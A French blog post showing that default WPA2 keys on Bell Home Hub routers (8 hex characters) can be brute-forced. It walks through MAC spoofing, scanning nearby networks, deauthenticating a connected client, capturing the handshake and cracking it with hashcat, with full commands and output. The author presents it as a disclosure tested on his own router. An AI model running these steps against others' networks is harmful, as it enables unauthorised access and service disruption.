Home HUB Router (2000/3000) de Bell – Faiblesse des clés WIFI12 min de lecture
Sommaire
Introduction
Après quelques recherches je me suis aperçu que mon fournisseur d’accès Bell utilisait, semble-t-il, toujours le même jeu de caractères pour définir la clé WIFI et toujours de la même longueur. C’est d’ailleurs indiqué sur leur site : https://soutien.bell.ca/services-internet/aide-connexion/que-signifient-ssid-et-wpa2
Longueur de la clé : 8
Parmi 16 caractères possibles : A B C D E F 0 1 2 3 4 5 6 7 8 9
Ça c’est en observant les clés des différentes versions des routeurs que j’ai eu (HH2000, HH3000…), des connexions WIFI mises à disposition dans certains lieux (chez le dentiste, dans mon immeuble…) et en glanant des informations sur les forums. Mais j’ai un doute sur le chiffre « 0 », car je ne suis même pas certain qu’il soit réellement utilisé, pour ne pas embrouiller le client j’imagine (la lettre « O » avec le chiffre « 0 »). Je dis ça car je ne l’ai jamais vu, mais bon dans le doute, on le garde.
Nombre de possibilités : 16^8
Et oui le calcul est on ne peut plus simple, le nombre de combinaisons possibles est : 4 294 967 296
Cela semble énorme comme nombre à première vue mais attendez la suite… j’ai voulu voir combien de temps cela prenait d’essayer de récupérer la clé avec une attaque par brute-force et ainsi valider ma théorie sur cette liste de caractères.
Matériels et logiciels utilisés
Matériels
J’utilise un portable qui possède notamment une carte graphique dédiée Nvidia GeForce GTX 1050 (4G, GDDR5). Ce n’est pas une carte dernier cri mais suffisamment puissante pour mes besoins, elle consomme peu d’énergie et elle est encore plutôt bien notée : https://www.notebookcheck.net/NVIDIA-GeForce-GTX-1050-Notebook.178614.0.html
Pour la partie WIFI j’ai acheté une antenne externe USB avec le chipset Atheros AR9271, à savoir l’adaptateur Alpha AWUS036NHA. C’est un bon rapport qualité/prix, par contre il n’est compatible qu’avec les fréquences 2.4GHz (cela vient du chipset). Ses caractéristiques ici : https://wikidevi.com/files/datasheets/alfa_network/AWUS036NHA.pdf
J’ai choisi cet adaptateur car il supporte l’injection de paquets (monitor mode) et peut se transformer en point d’accès au besoin (master mode).
Logiciels
J’ai utilisé VMware Workstation player avec une VM Kali (Kali-Linux-2018.4-vm-amd64) pour la partie OS. Elle reconnait de suite l’adaptateur WIFI USB. On peut télécharger la VM ici. Ensuite, j’ai pris la suite aircrack-ng pour capturer le trafic voulu. D’autres outils existent comme Wifite qui font cela automatiquement mais je voulais décortiquer les différentes étapes.
Pour cracker la clé WIFI j’ai utilisé la version Windows de l’application Hashcat (hashcat-5.1.0) disponible là. Afin d’avoir des performances optimales avec ma carte graphique.
Capture réseau
Une fois la VM lancée et la session Kali ouverte, il me suffit de connecter mon adaptateur WIFI USB (clic droit sur le dessin d’un petit dongle USB en haut à droite et « connect »).
Avant toute chose, il est préférable de changer temporairement son adresse MAC, pour cela on ouvre le terminal :
# On vérifie le nom de notre interface, ici "wlan0" root@appareil-inconnu:~# ip link 7: wlan0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DORMANT group default qlen 1000 link/ether XX:XX:XX:XX:XX:XX brd ff:ff:ff:ff:ff:ff # On tue les processes qui pourraient perturber l'attaque root@appareil-inconnu:~# airmon-ng check kill Killing these processes: PID Name 803 wpa_supplicant # On active la carte en mode injection de paquets # Le nom de l'interface passe de "wlan0" à "wlan0mon" root@appareil-inconnu:~# airmon-ng start wlan0 PHY Interface Driver Chipset phy2 wlan0 ath9k_htc Atheros Communications, Inc. AR9271 802.11n (mac80211 monitor mode vif enabled for [phy2]wlan0 on [phy2]wlan0mon) (mac80211 station mode vif disabled for [phy2]wlan0) # On arrête l'interface wlan0mon root@appareil-inconnu:~# ifconfig wlan0mon down # On change son adresse MAC (mode random) # Nouvelle MAC : 6a:ac:c3:a9:2c:71 root@appareil-inconnu:~# macchanger -r wlan0mon Current MAC: XX:XX:XX:XX:XX:XX (ALFA, INC.) Permanent MAC: XX:XX:XX:XX:XX:XX (ALFA, INC.) New MAC: 6a:ac:c3:a9:2c:71 (unknown) # On ré-active l'interface root@appareil-inconnu:~# ifconfig wlan0mon up # On vérifie que l'adresse MAC est bien la nouvelle, c'est le cas root@appareil-inconnu:~# ip link 10: wlan0mon: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UNKNOWN mode DEFAULT group default qlen 1000 link/ieee802.11/radiotap 6a:ac:c3:a9:2c:71 brd ff:ff:ff:ff:ff:ff
Nous allons maintenant pouvoir identifier les routeurs Bell aux alentours, pour cela une seule commande (je masque volontairement les SSID et adresses MAC 🙂 ) :
root@appareil-inconnu:~# airodump-ng wlan0mon --essid-regex ^BELL CH 5 ][ Elapsed: 6 s ][ 2018-01-26 14:35 ] BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID XX:XX:XX:XX:XX:XX -78 1 0 0 10 195 WPA2 CCMP PSK BELLXXX XX:XX:XX:XX:XX:XX -72 3 0 0 10 195 WPA2 CCMP PSK BELLXXX XX:XX:XX:XX:XX:XX -44 3 0 0 11 195 WPA2 CCMP PSK BELLXXX XX:XX:XX:XX:XX:XX -63 5 0 0 1 195 WPA2 CCMP PSK BELLXXX XX:XX:XX:XX:XX:XX -69 4 0 0 1 195 WPA2 CCMP PSK BELLXXX BSSID STATION PWR Rate Lost Frames Probe XX:XX:XX:XX:XX:XX XX:XX:XX:XX:XX:XX -48 0 - 1e 0 1 VICTIM (not associated) XX:XX:XX:XX:XX:XX -77 0 - 1 1 3 TV_VIZIO
Rapidement on obtient une liste d’équipements, on notera d’ailleurs qu’ils sont tous sur le même schéma au niveau du SSID avec « BELL » suivi de 3 chiffres. Ce qui limite le nombre d’appareils à 1000 en comptant le 0 (on a aussi cette information en haut de l’article sur la première image). Ça me parait peu mais bon, passons.
Pour notre exemple, je vais choisir le 3ème routeur en partant du haut, celui que l’on capte le mieux qui est sur le canal 11 et surtout on voit plus bas qu’un client semble actif (VICTIM). En effet, pour mener à bien notre attaque, nous devons avoir de l’activité avec un client.
Et oui, l’une des options que l’on a pour retrouver la clé déchiffrée est de capturer au préalable ce que l’on appelle le « 4-Way Handshake » (poignée de main à 4 voies). Quelques explications claires ici : https://www.cleartosend.net/understanding-4-way-handshake/
Pour cela, nous avons notamment deux options : attendre qu’un client se connecte ou bien forcer un client déjà connecté à se reconnecter. Dans les deux cas nous serons en mesure de capturer le Handshake. Ici nous serons dans le 2ème cas.
Voici les commandes à utiliser pour provoquer et capturer le Handshake, il faudra ouvrir deux terminaux. Commande à lancer dans le premier terminal :
# On filtre sur notre victime avec le BSSID (adresse MAC du routeur) et le canal # Et on sauvegarde les données dans un fichier au nom du ESSID root@appareil-inconnu:~# airodump-ng -c 11 --bssid XX:XX:XX:XX:XX:XX -w /root/BELLXXX wlan0mon CH 11 ][ Elapsed: 24 s ][ 2018-01-26 14:40 ] BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID XX:XX:XX:XX:XX:XX -62 100 149 250 35 11 195 WPA2 CCMP PSK BELL005 BSSID STATION PWR Rate Lost Frames Probe XX:XX:XX:XX:XX:XX XX:XX:XX:XX:XX:XX -60 0 -24 0 4 XX:XX:XX:XX:XX:XX XX:XX:XX:XX:XX:XX -69 0 - 1e 1 14
Dans un second terminal on force l’un des clients actifs à se reconnecter :
# On lance deux fois une commande qui va forcer le client à se déconnecter de l'Acces Point # On cible pour cela le client avec son adresse MAC, -a avec le BSSID (le routeur cible) et -c pour l'adresse MAC du client oot@appareil-inconnu:~# aireplay-ng -0 2 -a XX:XX:XX:XX:XX:XX -c XX:XX:XX:XX:XX:XX wlan0mon 14:42:16 Waiting for beacon frame (BSSID: XX:XX:XX:XX:XX:XX) on channel 11 14:42:16 Sending 64 directed DeAuth (code 7). STMAC: [XX:XX:XX:XX:XX:XX] [ 2|62 ACKs] 14:42:17 Sending 64 directed DeAuth (code 7). STMAC: [XX:XX:XX:XX:XX:XX] [ 7|73 ACKs]
Cela revient à priver la victime de son accès Internet pendant quelques secondes (un mini « DOS » en quelque sorte) mais le client se reconnectera automatiquement, ce sera quasiment transparent pour notre victime.
On revient dans notre premier terminal et bout de quelques secondes on verra apparaître en haut à droite « WPA handshake« , c’est gagné :
CH 11 ][ Elapsed: 24 s ][ 2018-01-26 14:42 ][ WPA handshake: XX:XX:XX:XX:XX:XX BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID XX:XX:XX:XX:XX:XX -65 100 209 250 35 11 195 WPA2 CCMP PSK BELL005 BSSID STATION PWR Rate Lost Frames Probe XX:XX:XX:XX:XX:XX XX:XX:XX:XX:XX:XX -63 0 -24 50 130 XX:XX:XX:XX:XX:XX XX:XX:XX:XX:XX:XX -70 0 - 1e 1 14
On arrête la commande du 1er terminal (CTRL + C) et vous verrez plusieurs fichiers créés dans le répertoire « /root », celui ou ceux qui nous intéressent pour la suite de l’attaque se terminent par « *.cap », ils contiennent le Handshake :
root@appareil-inconnu:~# ll -lt | grep BELLXXX -rw-r--r-- 1 root root 213545 Jan 26 14:42 BELLXXX-02.cap -rw-r--r-- 1 root root 861 Jan 26 14:42 BELLXXX-02.csv -rw-r--r-- 1 root root 590 Jan 26 14:42 BELLXXX-02.kismet.csv -rw-r--r-- 1 root root 6995 Jan 26 14:42 BELLXXX-02.kismet.netxml -rw-r--r-- 1 root root 68676 Jan 26 14:42 BELLXXX-02.log.csv -rw-r--r-- 1 root root 50776 Jan 26 14:41 BELLXXX-01.cap -rw-r--r-- 1 root root 861 Jan 26 14:41 BELLXXX-01.csv -rw-r--r-- 1 root root 586 Jan 26 14:41 BELLXXX-01.kismet.csv -rw-r--r-- 1 root root 6993 Jan 26 14:41 BELLXXX-01.kismet.netxml -rw-r--r-- 1 root root 45250 Jan 26 14:41 BELLXXX-01.log.csv
Il suffit ensuite de convertir notre fichier « *.cap » dans un format compatible avec l’application Hashcat que l’on utilisera dans la section suivante. Ce dernier propose pour cela un outil de conversion « cap2hccapx.bin » :
# Toujours depuis le répertoire "/root" on lance la commande de conversion # Elle est présente par défaut dans Kali root@appareil-inconnu:~# /usr/lib/hashcat-utils/cap2hccapx.bin ./BELLXXX-02.cap ./BELLXXX.hccap Networks detected: 1 [*] BSSID=XX:XX:XX:XX:XX:XX ESSID=BELLXXX (Length: 7) --> STA=XX:XX:XX:XX:XX:XX, Message Pair=0, Replay Counter=1 --> STA=XX:XX:XX:XX:XX:XX, Message Pair=2, Replay Counter=1 Written 2 WPA Handshakes to: ./BELLXXX.hccap
On se retrouve donc avec un nouveau fichier « BELLXXX.hccap » contenant plusieurs Handshake.
Il sera peut-être nécessaire d’essayer avec les différents fichiers « *.cap », certains ne contiendront pas le Handshake, et vous aurez ce message :
Written 0 WPA Handshakes to: ./BELLXXX.hccap
Passons à la suite.
Récupération de la clé WIFI
La phase de récupération de la clé WIFI se fera « offline », il n’y aura plus d’interactions avec notre victime.
J’ai donc utilisé l’application Hashcat pour Windows, dont vous trouverez le binaire sur le site de l’éditeur ici : https://hashcat.net/hashcat/
Une fois l’archive décompressée, il suffit d’ouvrir une fenêtre DOS, de se rendre dans le répertoire du binaire où l’on aura déposé au préalable le fichier précédemment créé.
On lance ensuite la commande « magique » qui permet de faire une brute-force en testant toutes les combinaisons possibles des 16 caractères pour une longueur de 8 :
C:\Users\admin\Downloads\hashcat-5.1.0>hashcat64.exe -m 2500 -a3 bellXXX.hccap -1 ?dABCDEF ?1?1?1?1?1?1?1?1 -d 3 -w 3 hashcat (v5.1.0) starting... * Device #1: Intel's OpenCL runtime (GPU only) is currently broken. We are waiting for updated OpenCL drivers from Intel. You can use --force to override, but do not report related errors. * Device #3: WARNING! Kernel exec timeout is not disabled. This may cause "CL_OUT_OF_RESOURCES" or related errors. To disable the timeout, see: https://hashcat.net/q/timeoutpatch nvmlDeviceGetFanSpeed(): Not Supported OpenCL Platform #1: Intel(R) Corporation ======================================== * Device #1: Intel(R) UHD Graphics 630, skipped. * Device #2: Intel(R) Core(TM) i5-8300H CPU @ 2.30GHz, skipped. OpenCL Platform #2: NVIDIA Corporation ====================================== * Device #3: GeForce GTX 1050, 1024/4096 MB allocatable, 5MCU Hashes: 2 digests; 1 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Applicable optimizers: * Zero-Byte * Single-Hash * Single-Salt * Brute-Force * Slow-Hash-SIMD-LOOP Minimum password length supported by kernel: 8 Maximum password length supported by kernel: 63 Watchdog: Temperature abort trigger set to 90c [s]tatus [p]ause [b]ypass [c]heckpoint [q]uit =>
Explications des options utilisées avec cette commande :
- hashcat64.exe = version 64 bits de l’application
- -m 2500 = type de Hash que l’on cherche à craquer, ici WPA-EAPOL-PBKDF2
- -a3 = mode d’attaque, ici Brute-force
- bellXXX.hccap = notre fichier contenant le Handshake
- -1 = jeu de caractères personnalisé
- ?dABCDEF = notre jeu de caractère c-à-d « d » pour 0123456789 et plus ABCDEF
- ?1?1?1?1?1?1?1?1 = longueur de notre clé WIFI que l’on cherche, à savoir 8 caractères
- -d 3 = carte graphique que l’on veut utiliser et/ou CPU
- -w 3 = profil de travail de la carte graphique, cela correspond au niveau « High », niveau 3 sur 4 afin de gagner quelques hashrate sans non plus solliciter celle-ci à fond
En appuyant sur la touche « s » on obtient tout un tas d’informations, notamment le temps estimé maximal pour tester toutes combinaisons et la vitesse de traitement qui s’exprime en Hashrate par seconde :
Session..........: hashcat Status...........: Running Hash.Type........: WPA-EAPOL-PBKDF2 Hash.Target......: BELLXXX (AP:XX:XX:XX:XX:XX:XX STA:XX:XX:XX:XX:XX:XX) Time.Started.....: Fri Jan 26 16:02:07 2018 (3 secs) Time.Estimated...: Sat Jan 27 04:13:14 2018 (12 hours, 11 mins) Guess.Mask.......: ?1?1?1?1?1?1?1?1 [8] Guess.Charset....: -1 ?dABCDEF, -2 Undefined, -3 Undefined, -4 Undefined Guess.Queue......: 1/1 (100.00%) Speed.#3.........: 97961 H/s (51.25ms) @ Accel:128 Loops:32 Thr:1024 Vec:1 Recovered........: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts Progress.........: 0/4294967296 (0.00%) Rejected.........: 0/0 (0.00%) Restore.Point....: 0/268435456 (0.00%) Restore.Sub.#3...: Salt:0 Amplifier:0-1 Iteration:1344-1376 Candidates.#3....: 12345678 -> 1F6E7312 Hardware.Mon.#3..: Temp: 58c Util:100% Core:1721MHz Mem:3504MHz Bus:16
Et là surprise, en maximum 12 heures de traitement je devrais être en mesure de découvrir la clé WIFI…mais au bout de deux heures finalement, j’ai déjà une réponse :
2c6956780e4b7b3cea00f6e7492eefaa:5454df9ea0d45:acafc943f271:BELLXXX:A2F7F579 <--- Voici notre clé ! Session..........: hashcat Status...........: Cracked Hash.Type........: WPA-EAPOL-PBKDF2
Bingo !
Conclusion
Voilà, je ne m’attendais pas à pouvoir obtenir et craquer ma clé WIFI aussi facilement 😉 Et oui, je n’ai pas voulu prendre de risques avec mes chers voisins ! J’ai laissé la clé WIFI initiale pour mes tests. Blague à part, il est grand temps que WPA3 remplace le vieillissant protocole WPA2, même si tout cela prendra des mois voire des années. Les constructeurs et fournisseurs vont certainement profiter de l’occasion pour forcer les utilisateurs à changer d’équipements, il y aura des périodes bugs etc…
Je n’ai ici montré qu’un seul moyen pour obtenir le sésame, d’autres méthodes sont apparues dont une récente qui ne nécessite même plus de capturer le Handshake, c’est une attaque « sans client ». Mais l’attaque par force brute du mot de passe est toujours nécessaire.
Bref, en attendant WPA3, ce serait bien que les fournisseurs et/ou constructeurs augmentent drastiquement le nombre de caractères de base… En effet, combien de personnes « lambda » changent cette clé à la réception de leur équipement ?…